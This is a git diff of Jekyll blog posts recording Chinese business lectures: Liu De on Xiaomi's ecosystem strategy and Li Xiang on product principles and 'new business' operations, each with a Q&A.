未来三年后，小米将会迎来巨大的渠道红利期。在此之前，我们需要布置大量的产品品类。否则，到时候渠道管子修得很粗，没有东西就该傻了。 + +你要把问题的本质看透，到底是在用什么逻辑干这件事情。这样才能够在别人骂你是“杂货铺”的时候顶住压力。 + +我们做的都是民生产品，是80%的人都用得到的刚性产品。 + +产品、品类都是刚需，我做的品质又很好，价格又会便宜，我拥有自己的渠道，那么下面的成长对我来讲只是时间问题。只要给我三五年的时间，就会成长为有强烈国民属性的国民企业。 最伟大的一家企业就是国民企业。 + +▌小米的生态链管理 + +我分享一下小米的生态链管理体制。 + +我们有90家公司，这是一个不控股的公司群，所以它的管理就很有趣了。最早的时候，面对生态链这个陌生领域，我们不知道该怎么干，不知道方向在哪儿。所以那个时候我们订立了几个原则。 + +# 决策机制：包产到户、集体制、议会制 + +第一年，对投资人来说，我们用的是包产到户制。兄弟这个公司是你投的，你一带到底，这就是你家的。这种模式的好处就是成长非常快，把决策权下放到第一线去，一个人负责到底，就像银行的柜员制一样。 + +后来发现这种机制有问题，我们发现投资人短板可能会成为这个公司短板，所以第二年我们进行调整，叫集体制。我们有六个核心的产品经理，也是投资人，这六个人集体决策一些事情，集体负责多个公司。 + +所以在小米生态链里面我们投哪家公司是由这六个产品经理决定的，而不是由我决定的。很多人找我说，能不能投我这家公司，我说我没有这个权力。当我搭建这个机制的时候就把决策权放给了一线的产品经理，所以我只有否决权，我没有投票权。 + +比如说一个兄弟跟我讲，德哥，成人用品最近不错，利润也很好，适合我们进去洗一把。我说，算了，我们不做。我给自己画了一条线，这线最下面的事情不会碰，我会碰上面的事情，比如找方向、找资源、布局。 + +第三年，我们发现集体决策也有问题。我们开始引入新的机制——议会制。 + +那个时候我们除了投新公司，还面临管理七八十家生态链公司，我们把这个体系看成一个小国家，这些产品经理是议员。西方三权分立就是这样，你想做一个巨大的企业，你要摆平所有的议员，整个议会都听你的。 + +总体上，我们做的事情就是享受移动互联网时代带来的人口红利。我们要求做任何决策，想任何问题永远站在80%用户的立场上去想，这非常重要，这才是享受人口红利的一个经营逻辑。 + +我做梦都会乐醒，这是一个巨大的人口红利时代。 + +# 品牌建设：先增速，后品牌 + +我们讨论几句品牌，品牌带给我们困惑也很多。我们今天抽两个纬度讲。 + +这些生态链公司到底什么时候做自己的品牌比较合适？我经常跟他们说，作为生态链公司，最重要的一个纬度是高速度的增长，不要上来就做牌子，这不是最重要的。一旦进入品牌积淀和推广，成本会非常高。 + +我给生态链公司设了几个权重： + +第一，保持高速增长，这是最重要的； + +第二，要提高用户的数量和质量； + +第三，持续保持技术制高点； + +因为当一家公司没有技术制高点的时候会被各种因素绑架，被渠道绑架、被运营商绑架，所以一定要占据持久技术制高点，不放弃每一次技术迭代。 + +第四，品牌。 + +今天的公司对品牌的认知跟历史上完全不一样了，品牌实际上可以往后放的。昨天我见了做锁的团队，他们在过去的一年中也是在痛苦怎么推广自己的品牌。当我们沉下心来一分析，锁这个领域其实是一个弱品牌认知的领域，它是强渠道的领域。 + +你们家家都有门锁，谁知道自己家的锁是什么牌子？这是弱品牌认知。当一个领域是弱品牌强渠道属性，这家公司一直努力树立自己品牌，这显然不对，所以一定要把企业看透。 + +# 理论依据：精准打击、特种部队 + +当我们想好了要怎么做，还得给自己找一些理论依据。生态链这一战，我们叫精密的战争，需要找一些理论依据来支撑。 + +任何一个时代，最先锋的理论一定是军事理论，而不是商业理论。军事的输赢要命，商业的输赢要钱。最先进的军事理论，无非是两点：第一，精准打击。第二，特种部队。 + +# 精准打击 + +比如，在传统的战场里，我打一个山头，肯定是一百门山炮齐发，一平米两个弹坑，总有一炮打到你。其实传统的一些白电企业做产品就是这样，我做一百款空调，总有一款你喜欢，这就是传统企业的逻辑。 + +但是今天战场上是精确打击的。就像打海湾，我清楚知道我的用户画像，一炮打倒你。单品海量做，这个好处是让所有产品价格都降低，效率提高。 + +# 特种部队 + +传统的战争靠人海战术。如果小米自己做所有的生态链产品，我们可能要堆上万人才行，但是我们采用了投资的方式，投了一批在这个领域里面的特种部队，就不需要堆那么多人了。 + +我们背后有五角大楼、有航母群，我们告诉他哪有重要的商业机会，我们给他提供生态链背书，我们帮助他融资，我们帮助小股部队在前面斩首行动，我们用军事理论来做今天的商业。因为军事理论是任何一个时代最先锋的东西。 + +我用这个例子告诉大家，你做战略性的事情，一定要想清楚按照什么逻辑做再动手，想透了再动手。 + +▌企业如何保持快速增长？ + +小米创业前三年，第一年做了126亿，第二年314亿，第三年743亿，后来可能780亿，今年大概1000亿，基本上以这样一个速度成长。 + +所以经常有人问我，小米的增长是不是太快了？因为一家公司增长太快了，不是什么好现象。像人一样，长太快会不健康。但是互联网公司的速度，跟传统公司确实有差异的。 + +# 竹林效应 + +传统的公司，像一棵松树，可能需要用30年、50年的时间慢慢长大，一百年长成一棵参天大树。但松树往往会在枝繁叶茂的时候轰然倒下。今天的摩托罗拉和诺基亚的手机业务就是这样，大家都不知道问题出现在哪儿，轰然倒下，救都没得救。 + +而互联网公司更像竹子，雨后的春笋能一下子成长起来，如果环境成熟，三年时间就能迅速长成一棵参天的竹子。但是竹子的问题在于生命周期很短，它需要不断新陈代谢。 + +所以小米做生态链的模式就是要把小米打造成一个竹林一样的公司，而不是松树一样的公司。我们通过投资发现我们的竹笋，把公司变成一片竹林。 + +竹林公司比松树公司更稳定、安全，因为它能完成自我新陈代谢，扩张起来没边界。我想扩张任何一个领域，只要投一家公司就起来了。这就是竹林效应。 + +# 一把手理解产品很重要 + +虽然说互联网公司成长速度更快，但其实传统企业也能保持很高速的增长。 + +我以前一直以为只有互联网公司才能有100%的增长，当我和外界做了很多交流后才发现有很多传统企业，他也能够保持百分之百的增长，并且持续保持很多年。我印象比较深的就是，我和碧桂园的杨主席交流的时候，他分享了他做企业的感受。 + +碧桂园作为一个传统的房地产企业，他前16年连续100%增长。很多一千亿以上规模的公司，他都是在某一个时段超高速增长，用这个高速的速度冲起来的。所以一家公司成长有重要的维度叫速度。 + +我们后来用四句话总结了杨主席的分享，我觉得非常有价值。 + +第一，永远要做最大的市场。 + +我今天必须说一句，未必都适用于大家。不同性质的公司关注市场逻辑完全不一样的，有些公司注定做一家小而美的公司。这个理论不是有普遍性的，但是是有代表性。 + +第二， 有取舍。 + +在中国，每个市场都庞大无比，有14亿人口红利，所有的领域都有机会，但不证明你都能干成。所以要有取舍，有所为有所不为，这很重要，这才能聚焦。碧桂园从来不进一线城市的，都是做三四线城市最好的房子，这是有取舍。 + +第三，追求性价比。 + +就是要做品质高、价格低的产品。大家会有一个误区，就是会觉得高性价比的公司low。其实这是非常不对的，让更多的人用更便宜的价格享受到好东西，这才符合人性，做一家公司绝对要符合人性。 + +最后一点很重要，老板是行家，深刻理解产品。 + +企业一把手如果不懂商品，可能指挥不到点上。我记得杨主席说，他是泥瓦匠出身，工地上看一眼就知道成本是多少。所以老板是产品家，企业一把手深刻理解产品，这非常重要。 + +在中国做一家小公司是非常容易的，因为市场太大了。但是如果你要做一家大公司，就要靠运气。所谓运气就是，是不是踩在了时代的脉搏上。所有的大公司都是时代造就的，不是这些人自己造就的，这是一个逆向选择。所以你要看清楚这个时代，成全什么样的公司极其重要，如果想干大公司的话，不要贸然去做。 + +互动问答 + +混沌研习社社员： + +有位大佬说过，学习成功的案例是没有用的，失败的才有用。我们今天学小米成功的案例到底有用吗？ + +刘德： + +我分四个维度回答。 + +第一，今天中国的大佬说话都是要搏眼球的，所以你要乘以0.8，不要全信。 + +第二，不管是成功的案例还是失败的案例都有参考价值。这就像我们学棋，要背棋谱，要复盘，都是有参考价值的。 + +第三，所有已经发生的商业案例都是彼时彼地的。商业最美妙的是变化，有时间轴的，你一定要知道环境是变化的。 + +对过去的研究和学习肯定很重要，但是时间轴不能照搬。就像小米经验一样，很多人问，德哥你能不能告诉一个成功的办法，这是不可能的。尽管满机场放着很多成功学的书，但是很少有人因此成功。 + +第四，你看到的和媒体宣传的企业的案例并非完全真实。 + +我做小米的时候，外面有各种对小米战略布局、成败案例的解释，但我深入其中发现跟我讲的不完全一样。也许我们某一个正确的战略决策，并不是深思熟虑的结果，而是完全靠误打误撞靠运气。 + +有的时候运气确实占据很大的成分，所谓过去成功和失败的案例不一定就是最真实的那一部分。像我这样的亲身经历过的分享才更有价值。 + +混沌研习社社员： + +小米是一家互联网公司，销售渠道主要是网络直销，可回头一看VIVO和OPPO异军突起，现在小米线下布局如何，销售所有产品吗？ + +刘德： + +早年小米完全用互联网渠道来卖手机是没问题的，但是互联网渠道只能下沉到中国一二线城市，无法下沉到三到六线城市，所以，2014年后，小米手机的销售遭遇了天花板。 + +而VIVO 、OPPO长年耕耘在三、四线城市，当遇到换机潮，再往下沉走到三到六线城市，就很容易，于是他们迅速把线下换机潮的事情搞定。 + +有时候觉得这个世界很有趣，我们在过去两年里想沉也沉不下去，根本没有机会，而VIVO、OPPO派兵力等了20年，这是非常巧合的遭遇战。不是说多么有战略眼光，而是人家运气真的好，就跟我们早年做线上一样，我们运气真的好，不是有战略眼光。 + +小米从去年开始铺线下，到目前为止已经大概有了90多家店，我们希望用三年的时间铺1000家线下店，这样可以用三年的时间支撑我们100亿以上美金的流水。 + +# 参考 +[刘德：产品竞争与自我迭代](http://hdyxs.hundun.cn/Repo/h5_article_share/article_share.html?id=3a233a7f3f831820295706bf492e6000) diff --git a/_posts/2017-10-17-261-product-mgr.md b/_posts/2017-10-17-261-product-mgr.md new file mode 100644 index 0000000..65892cc --- /dev/null +++ b/_posts/2017-10-17-261-product-mgr.md @@ -0,0 +1,335 @@ +--- +layout: post +title: 李想：产品与新商业 +pid: 261 +tags: [产品经理] +--- + +5月27日上午，车和家创始人及CEO李想登上混沌研习社的讲堂，带来了主题为《产品与新商业》的课程。这堂课的笔记分上下两篇，上篇讲产品，下篇讲新商业。 + +李想认为，一家企业是由产品和商业组成的。产品关乎用户的获取，决定了企业的竞争力和屋顶，而商业则决定着企业的效率，关乎企业如何跳到屋顶的最高点。 + +今天这篇文章，总结了李想十多年来在互联网产品领域积累的经验。 + +文｜李想 +车和家创始人及CEO + +今天我来到这里想来跟大家分享的主题，是《产品和新商业》。 + +产品和商业分别代表了不同的东西：产品代表的是用户的价值，而商业代表了一家企业的效率和整个的商业能力。产品和商业，再加上HR，构成了一家企业的全部。 + +因为在座的各位很多都是创业者，所以今天我也想跟大家探讨一下做好一个企业所必须具备的能力。这种能力能让我们在接下来迎接各种各样的变化的时候，有办法应对它们所带来的挑战和剧烈的竞争。 + +# 产品篇 + +首先，进行产品这个话题的讨论很有必要，为什么呢？ + +主要是因为在最近这两年所谓的创业热潮里面，出现了一个非常不好的现象，有一大堆完全不懂产品的人，到处去跟大家讲要如何创业，如何做产品。 + +但是过去这两年里呢，创业的失败率应该是有史以来最高的，真正做出来的企业寥寥无几。这对于整个社会的效率产生了很大的影响。 + +所以，我今天首先来讲讲产品。 + +▌到底什么是产品呢？ + +那么，我们今天首先来思考一个问题：到底什么是产品？我觉得这是每个人都应该去思考的问题。 + +但是，很多人在回答这个问题上面，会面临这些问题：产品到底讲的是功能呢？还是体验？产品到底体现了什么能力？ + +以我过去创业的经验，我是这么理解产品的：当我们打造一个公司，打造一个服务，打造一个App，打造一个功能，甚至写一篇文章，我们都是在做一个产品。这些事情对于我们的能力要求，其实都是相同的。 + +从更大的范围来讲，其实产品力不是一个技术能力，而是一项非常重要的管理能力。 + +当我们把产品当做一种专业技能去做的时候，我们会接二连三地做低效率的事情，进行各种各样的体验，刷各种各样的存在感，把原本只要一个步骤就能完成的事情，分成六七个步骤去完成。 + +这就是为什么我会说产品力是一项非常重要的管理能力。这个可能和大家平时对产品的理解存在本质上的不同。 + +▌做产品的第一步：设定一个清晰、可衡量的目标 + +定义完了产品，我们需要解决的一个很关键的问题，就是弄清楚产品的第一步是什么。 + +我看到大部分的创业者，还有在做产品的人，往往会缺失第一步。一旦缺了第一步，后面你做的所有事情，都是白搭。 + +我们要进行的产品的第一步，就是针对我们要解决的问题设定一个目标，这个目标必须清晰、可衡量。 + +为什么要这么做呢？因为当我们做一个事情、做一个产品的时候，如果没有在最初就设定一个目标，由于因为每个人看到的世界都是不一样的，所以后续所有的参与者就都会在不同的世界里思考问题。 + +我经常看到各种各样失败的创业公司，团队里几十号人，每个人都在各自的世界里面想事情，每个人觉得自己在为这个企业好。但是实际上，在公司到死为止，这些人都没有讨论过这个企业共同的目标是什么。 + +要么就是大家开产品会，吵得一塌糊涂：你的体验不好，我的体验好，你的功能不好，我的功能好等等。但是对于这个产品要达到一个怎样的目标，他们从来没有沟通过。 + +在这里我举一个例子。就是2008年的时候，我当时还是汽车之家的CEO，我们合并了另外一家企业，也是汽车网站，叫车168。我们当时的流量是它的十倍以上。但是合并完以后我们发现，虽然两家汽车网站的员工人数差不多，但公司的效率差得完全不止十倍。 + +合并完以后我们讨论第一个问题，就是大家要有一个共同的目标，一个共同的愿景。当时是我负责这两个公司的合并，我就问车168的高层和同事们：“车168的目标是什么？”他们的统一回答是，我们的目标是要做最有影响力的汽车网站。 + +我接着问：“你们所指的最有影响力具体是什么？”我得到的回答五花八门，有的人说我们要变得更专业，有的人说我们要在厂商那里最有号召力，还有的人说我们要让用户感觉好，对我们评价好。 + +我说你们每一个人对目标的理解是完全不一样的，那在日常工作中，你们要怎么去执行这个目标？ + +很多时候，我们之所以在对目标的设定上面出问题，最大的原因在于贪心。我们其实只要解决一个问题就好了，但是我们却经常会希望通过一个过程，去解决四、五个问题，照顾到更多的人。但是最后的结果就是什么做不好，整个组织效率极为低下。 + +在做产品上面，你问这个产品要解决什么问题，得到回答是我们既要解决A，又要解决B，还要解决C。我说这简直就是胡扯。 + +在汽车之家，我们当时的目标就很明确，只有一个目标，就是要做访问量最大的汽车网站，衡量访问量的标准就是PV。每一天，我们都在为这同一个目标工作。 + +▌衡量产品的标准：优越感、价值、安全感 + +当我们设定好了共同目标，让团队的所有人都能在一个世界里思考问题，这个时候，我们就需要给产品定义一个标准。 + +什么是产品的标准呢？我进行了一个比较简单的定义，就是三个关健词：优越感、价值、安全感。安全感决定了用户是不是用你和买你，优越感会变成你的品牌向外传播的口碑，还有就是要有价值。 + +我相信，我们任何人首选使用的产品和品牌都符合三个特质。在这里我举几个例子，来解释一下这些产品是如何体现这些特质的。 + +1.苹果 + +我们先来看看苹果。苹果的价值是什么？设计好、易用。这是它典型的价值。 + +苹果的安全感是什么？有苹果用户在意前两天出现的病毒吗？没有。苹果会给你弹出来一堆没用的弹窗吗？不会。你用苹果会非常的省心，这就是它的安全感。 + +最后，苹果的优越感是什么？一帮朋友在一起吃饭，大家的苹果手机一定是可以放在桌子上的，不用塞在兜里。 + +2.顺丰 + +我最喜欢用的快递公司是顺丰。那么顺丰符不符合这几个特质呢? + +顺丰的价值，是用最快的速度帮你把货物送到。我们喜欢用顺丰的隔日送达，顺丰有自己专门的空运公司来保证运输的效率。 + +顺丰的安全感是什么？它100%是丢客率最低的快递公司。 + +顺丰的优越感又是什么呢？淘宝上所有贵一点的产品，商家都会告诉你顺丰包邮。企业也会用快递公司去衡量另一家企业。如果一个企业给你发一份文件的时候，是用顺丰寄过来的，你会觉得这个企业很不错。 + +3.微信 + +微信的价值是什么呢？帮我们最快捷地做沟通。 + +微信的安全感是什么呢？微信上面不会出现乱七八糟的东西，没有什么垃圾广告。 + +微信的优越感是什么？很多人会在朋友圈里面秀孩子，秀自己出去旅游，在朋友面前展示优越感，这里面体现的人性心理其实非常有意思。 + +▌用户价值的衡量：时间和钱 + +那么，在衡量产品标准的三个关健词里面，最核心的一个词是哪个呢？我认为是价值。 + +大概在2008年的时候，我们招来了一个大学刚毕业的产品经理（他后来变成了我们的产品总监），当时他提出了一个非常反人类的理论。他说，我们做产品的时候只谈价值，不谈体验，我们后来也一直是按照这个方法去做产品。 + +什么是价值呢？你要帮助客户解决什么问题，这件事情就是你要实现的一个价值。汽车之家的价值是什么？就是帮助你们购买和使用汽车，就是这么简单，没有其他的。 + +当我们有了一个基本的标准以后呢，我们面临的一个挑战，就是用户的价值到底要如何进行衡量？我的回答是：在这个世界上，对于用户而言的价值衡量只有两个，一个是用户愿不愿意为你真正付出时间，另外一个是用户是否愿意为你真正付出钱。 + +那么我们该怎么去进行用户价值的事前衡量呢？就是我们要去问消费者的需求，去听市场的声音，这为我们做产品需求和功能提供了可选项。但这绝对不等于最后的决策，你还得在这些可选项里面，选出真正变成能变成产品的需求。 + +有一个挺简单的办法，就是我们找五到十个企业不同部门的人，让他们坐在一起，把这些可选项都列上去，让他们自己去选。大家在客户真正愿意花钱购买的功能里面做一个排名，最后排在最前面的一到三个变成产品的功能，剩下的全部砍掉。 + +这里我举一个我们在汽车之家做产品的例子。在有新员工加入汽车行业以后，我会带他们做一个很简单的训练，就是到底汽车应该怎么做产品。我会先问他们，你们认为自己会做产品吗？他们都认为自己很会做。 + +接下来，我给他们出了一个题：如果我们给这辆车增加一万块钱的材料物料成本，你会把这个成本加在哪里？ + +我问的都是开放性问题，不是封闭性问题，所以这个讨论会写满一面墙，这也是我们原来做产品的一个方式。有人会说我需要一个空气悬架，有些人说我希望把这个做成可变色的全景天窗，还有人说希望增加按摩座椅，要增加22寸的轮毂。 + +接下来我会问他们下一个问题，这个问题的答案才是真正做产品的方式。我问，当你们在座的各位变成了消费者，你会多花一万块钱在这一堆配置里买哪一个？答案很快瞬间集中，90%以上的员工会做出同一个选项，就是希望把钱全花在内饰上。 + +我接下来问他们的另外一个问题，就是让他们去看一看这个市面上同价位、同级别的车里面，内饰最好的车是不是销量第一。因为大家要在外形上做出本质的差异已经很难了，但是在内饰上可以做出非常大的差异。 + +所以这个例子告诉我们要怎么做好产品呢？只有当我们团队里所有的人都在同一个世界里，有同样的标准和同样的尺子，你会发现下面的人价值和效率会发挥得无限的大。 + +昨天晚上十点的时候，我们负责技术的VP还跟我聊到，他说用时间和钱去衡量用户价值很容易，他也很认同，但他想加一个新的衡量标准。这个新的衡量标准是什么呢？他说是情感。 + +什么是情感呢？其实就是口碑。当用户真正对你的产品付出情感的时候，他会发自内心帮你去传播。 + +▌用优越感和价值塑造品牌 + +还有一个非常重要的问题，就是大家老是问我们要怎么去做品牌。在衡量产品的三个标准里面，由于安全感是一个基础需求，所以它不太适用于塑造品牌。 + +但是，优越感和价值几乎把一个品牌展示到了极致，所以我们在传递品牌方面最有效的方式，就是利用产品的优越感和价值。 + +这里我也举几个例子。 + +1.茅台 + +茅台的优越感是什么呢？就是国家领导人在喝，每个人都希望能够跟国家领导人喝到一样的东西。 + +那它的价值是什么呢？一般最优秀的广告都是这么传递的，说它的酿造使用了怎样高端的技术，所以人们喝起来会觉得非常好。 + +2.爱马仕 + +女士们最喜欢的一个品牌，叫爱马仕。几乎所有爱马仕的广告，都是让包出现在了一个你非常向往的场景里面，要么就是你看到了一个像维多利亚·贝克汉姆这样的明星，他提着爱马仕。这就是爱马仕的优越感。 + +那爱马仕的价值是什么呢？它会跟你说我用的鳄鱼皮，是用法国最好的手工缝制的，从而体现出它是你所有的包里面最好的一个。 + +3.苹果 + +我们来看看苹果的广告。苹果早年的广告是有严重的问题的，就是它的广告并不传递价值，也不会传递什么优越感。 + +可能你看到乔布斯最早在苹果做的广告，看完只会觉得这个广告太酷了，但你找不到这产品跟你有任何的关联。 + +自从苹果改成Apple以后，它的广告发生了巨大的变化，广告里面永远在讲一种你向往的场景。在苹果的广告里面，产品永远是年轻人和小孩在用。而且，苹果现在的广告要么讲产品的设计，要么讲非常有价值的功能，简单到拍照、音乐等等，这都是产品带给你真正的价值。 + +这个时候，你会感觉这一群人是我向往的。无论是拍照，音乐，还是优秀的设计，这都是我想购买的，这件事跟我是相关的。 + +说到最后，我觉得我们做产品，最重要的提炼价值本身。这是每个人都能做到的。至于怎么做出优越感来，就得靠人本身的素质了。 + +我的这个理论能帮助大家做出合格的产品，但要做出顶级的产品，得看每个人自己的天赋。 + +# 新商业篇 + +大概是在一两个月前，互联网教父马云提出一个概念叫“新商业”。我觉得“新商业”是比“互联网+”好得多的一个提法，让我眼前一亮。 + +互联网，包括新商业、智能，我觉得都是信息革命以后的产物。我们现在能看到很多非常好的传统行业，它们甚至在全行业彻底实现了互联网级的IT系统能力，让企业整体运营的效率变得完全不一样。 + +现在我讲一讲我眼中看到的新商业。 + +▌传统商业 vs 新商业 + +传统商业和新商业是两个时代的产物，前者是工业革命的产物，后者则诞生于信息革命以后。这两种商业在企业控制和人才运用方面截然相反。 + +1.传统商业 + +我们先来说说什么是传统商业？传统商业是工业革命的一个延续，讲究的是控制，是标准化，是各种各样的流程。 + +举一个最简单的例子，我自己个人最熟悉的汽车4S店。汽车4S店里的销售职能分新车、二手车、金融、保险、零部件、饰品六种。这种细分也是传统商业里面所谓的“集团策略”，最主要的目的是实现公司对员工的控制，让每个人像机器人一样运作。 + +这种控制导致了如果我们想去4S店买一个配件，但恰恰卖配件的销售今天有事没来，相信我，今天你绝对买不到这个配件，因为另外五个销售不干这个事。这是集团和公司的规定，员工不能跨界。 + +在工业革命时代，新商业还没有产生的时候，这种控制没有任何问题。因为十年前我们不太在意我们获得的服务是不是很差。但是今天不一样了，如果一个地方的服务态度还维持在十年前的水平，你可能根本就想不去了。 + +在传统商业里面，员工（尤其是一线员工）和企业是相互对立的。员工多赚点，企业就少赚点，企业多赚点，员工就少拿点，这是《资本论》里写的一个比较残酷的事情。 + +2.新商业 + +那什么是新商业呢？ + +我觉得新商业是信息革命的一个延续。信息革命带来了几个产物，其中线上的产物就是我们常说的互联网。当信息革命和传统的线下商业相结合的时候，就产生了新商业。 + +实际上，新商业是一种技术能力，要实现这种能力非常难。新商业要建立的那套有效的系统上接云端，下接帐号，有很强的API能力，能帮助我们连接所有的服务、外部硬件以及应用。这套系统拥有非常强的数据能力，能获得软件、硬件、用户等所有原子极的数据。 + +在这个世界上，真正拥有这种超强的互联网级的系统性企业寥寥无几。而那些真正掌握了这种信息革命能力的企业，在市值上得到了有效的证明。美国的企业里面，市值排在前面的是苹果、谷歌和微软，中国企业市值排名第一、第二的是腾讯和阿里巴巴。 + +在信息革命时代，企业整个的生产效率和生产力变得完全不一样了。我们会发现，这些掌握了信息革命能力的企业似乎没有边界。每当你觉得它快到屋顶了，你都会发现它远远没有屋顶。你很难想象在今年的情况下，腾讯还有50%的增长率，阿里巴巴还有60%的增长率。 + +▌在认知能力和技术能力方面，企业面临着挑战 + +面对新商业时代，很多企业在认知能力和技术能力这两个方面，都有待重新正视和提高能力。 + +1.认知能力的挑战 + +企业要真正进入新商业时代，需要毁掉它们过去的那种工业革命思维，摒弃“控制”的价值观。但实际上，现在很多优秀的传统行业的企业家都做不到这一点。 + +我们会发现，传统企业和互联网企业的老板在一些会议上碰面的时候，传统的企业家到今天还在鄙视互联网。他们认为互联网经济是虚拟经济，根本没有认识到互联网带来了富有生命力和极为高效的、全新的生产力。 + +认知能力也跟国家有关。像德国这样优秀的传统工业国家，它们在互联网、智能化、人工智能上的表现非常有限。这些国家不允许企业去接触信息化、智能化，像一个人一样有优点和缺点，关注成长的价值观模式。 + +所以我说认知能力是企业现在面临的巨大的挑战。 + +2.技术能力的挑战 + +我觉得在座做互联网的企业都应该知道，其实真正注册大规模云端的帐号，到具备整个系统级的互联网能力，真的比从零建立起一个大型工厂还要难。 + +不过，在传统商业里，其实已经有非常多的行业和企业已经实现真正的互联网化。这里我想举几个例子，说明它们是怎么迎接新商业时代的技术能力的挑战的。 + +1.航空公司 + +我能看到的第一个全行业进入新商业的一个行业，是航空公司。 + +最近几年，所有的航空公司都是盈利的，你再也听不到航空公司赔钱了。很多人把这一功劳归功于石油价格的下降，其实根本不是，而是航空公司用一套大型的互联网IT系统，在交易层和信息层把新商业化进行到了极致。 + +因为有这些系统的存在，航空公司的订票效率更高，每个航空队的售出率也更高。这些机票原先是被票务站掌握在手里，而今天所有订票都是透明的。 + +还有一个有趣的现象，就是各个航空公司为了提升运转效率，它们会合运一个航班。你拿着国航的机票登机，会发现旁边的人买的机票是深航的。 + +航空联盟也非常有趣，它们很多时候在用一种很有意思的游戏规则激励你坐它的航班，变成会员。这也帮你提升了我刚才前面所说的优越感。 + +2.链家 + +链家是一个真正的互联网公司。我是在2008年经济危机买房的时候，发现原来链家的IT系统如此之强。 + +这套IT系统基本上像上帝一样看着自己的员工、客户房源三者之间发生的一切。在当时，那套系统就已经能调出一个销售或者顾问带了多少人，看过哪个房子，每个用户对房子感受和评价是什么。 + +到后面链家开始做网站以后，在上面放上真实房源，也是这套IT系统实现的。链家收购完一个公司，就能对这家公司进行快速整合，并产生巨大的效果，也是这套系统在其效果。 + +有了这套IT系统，很多互联网公司都竞争不过链家。有的公司会说链家要2.5个点的交易佣金，我只需要你付0.5个点。但是没用，他们不是在一个维度竞争。 + +3.顺丰 + +我再讲一个顺丰。顺丰为什么效率那么高呢？ + +是因为我有一个特别好的哥们儿，给顺丰开发过扫描货物数据的枪。2007年，顺丰开始上这个扫描的枪，它能记录所有数据。我说顺丰太有远见了，那么早就知道记录物流环节的所有数据节点。顺丰是第一家能查到货物到底到哪里了的快递公司。 + +我那个朋友还跟我说，顺丰在2007年负责开发IT系统的员工就超过了1000人。我认为这才是真正的互联网公司，这才是真正强大的新商业。 + +▌在新商业时代，你要刷新你的用人观 + +从某种程度上来说，新商业像一个互联网产品。 + +在新商业时代，企业不再使用那一套标准化的人力控制，而是用信任、用数据化实现对人的控制。在管理公司员工的时候，新商业像一个游戏。 + +前段时间，链家董事长左晖有一次发言，他说链家并不恐惧自己有十几万员工要管理，我们要把员工当成用户来管理。 这里面最重要的不同是什么呢？ + +作为一个利用新商业的方式来经营线下服务体系的公司，汽车之家是这么做的： + +a. 一个员工拥有六种技能 + +我们有一个很好的培训体系，让一个销售人员同时拥有卖新车、二手车、保险、金融、配件、饰品的能力。我们的销售人员甚至可以帮你结帐、开发票。在这种情况下，我们店里的员工数量可以缩减到非常少，用户服务的满意度也很高，因为一个销售人员就可以做完服务链条上所有的事情。 + +b.用一套IT系统记录员工和用户产生的接触点 + +接下来，我们做了一套非常强的IT系统，这套系统能记录我们的员工跟用户产生所有的接触点和发生的一切。通过对人的信任，我们用数据来控制这里面的所有行为。 + +c.销售额是一个基于人的广泛任务 + +在新商业的环境里面，我们给员工定的每月销售额是一个广泛任务，一个基于人的任务。我们的员工不拿提成，而是按照不同的层级拿到不同的收入，每个季度分金牌、银牌、铜牌和不合格。 + +这个判分每个季度都会发生变化，和员工的付出直接相关，而且非常透明。如果一个员工连续两个月拿金牌，他可以选择去店里当店长，也可以继续做销售。如果持续两个季度不合格，他就会被淘汰掉。 + +这种考核方式是全国一盘棋，把每个人当人来用，把每一个人的潜质发挥到了极致。我们靠的是人性的发挥，在这种激励机制下，员工自己会想办法做得更好。 + +▌新商业能够给企业带来巨大的利润 + +从企业利润而言，新商业时代的用人方式和效率也给我们带来了巨大的价值。从整个汽车行业的利润来算，仅汽车之家一家公司，就占了整个行业利润的80%。这跟苹果在手机行业的利润很相似。 + +2015年，我离开汽车之家的那一年，汽车之家的收入是35亿。虽然我们的竞争对手收入跟我们差不多，也是30多亿，但我们的净利润是12亿，竞争对手亏4亿。 + +这就是为什么马云提出“新商业”，以及我看到链家、顺丰这些企业的时候，我的感情会特别深。因为我们用新商业的方式，打了漂亮的一仗。这也是支撑我们始终保持30个点的净利润的一个核心要素。 + +未来，我也希望借助新商业对整个汽车和智能汽车的市场进行改造。我要做的第一件事，是让汽车真正智能化，这是我擅长的。 + +第二件事，就是我要彻底改变现在整个汽车4S店极为低下的商业效率。我要用1/10的成本达到相同的营业额，把开店速度提升10倍，每个销售人员卖出去的车数提升10倍，再把目前整个4S店所用的IT系统减到几十分之一。这就是我对汽车行业新商业的一个理解。 + +只有当我们很清楚地看到互联网、新商业、智能化这些事物之间的关系的时候，我们才会去获取自己最应该获取的能力，做出最准确的判断。我觉得这也是很多创业者和CEO排在第一位重要的事情。 + +而决定企业胜负的三个核心能力，除了新商业所代表的企业效率和商业能力，还要加上代表了用户价值的产品，以及负责员工招募和培养的HR。 + +任何企业只要做好了这三件事情，一定能成为某个领域的第一名，根本跑不掉。 + +互动问答 + +提问1：李想老师，您在提到产品的优越感、价值和安全感的时候，举的例子都是行业老大，这是否意味着其他品牌没有存在的理由了？它们的价值要怎么体现？ + +李想：我其实不希望举这种负面的案例，解答它们为什么不存在，因为负面的案例对于我们做好一个事情没有本质上的帮助。可能我有一个比较好的习惯，就是任何一个新鲜的东西出来的时候，我的优先选择是看它好的地方。 + +就拿共享单车这件事来说好了，大家最开始不太明白为什么有那么多投资人和VC去赌共享单车，不关心它背后的原因，只关心它不靠谱。但是投资人和VC在共享单车上花钱，一定有他的需求，我们要去弄明白他们花钱背后的目的到底是什么。 + +在这里我想跟大家分享一下我跟很多投了共享单车的VC聊天的时候，得到的他们的思维方式，和他们对整个商业的理解。 + +我们今天可以发现一个有意思的现象，就是线上流量在开始产生垄断，线上的获客成本在大幅提升，高到你已经无利可图。这时候，大家忽然发现在线下获取用户的成本反而是低的。 + +而且很多人也想不到VC们的逻辑，其实是摩拜和ofo获取的是有支付能力的用户，获得这些支付用户的成本也很低。从本质上而言，投资人和VC之所以盯着单车、充电宝和接下来会火起来的便利店，都是把它当作线下的入口来算的。 + +提问2：李想老师，您刚刚说到产品的优越感、价值、安全感，这三者之间是不是有重合的地方呢？ + +李想：我觉得这三个标准里面，产品的价值是很容易衡量的。就像我刚才讲的，价值是一个标准，是衡量产品时一个可量化的方式。 + +而安全感和优越感，在我看来它们其实属于人性的范畴。优越感的实质是我们心理感受的好坏，或者我们所向往的东西。 + 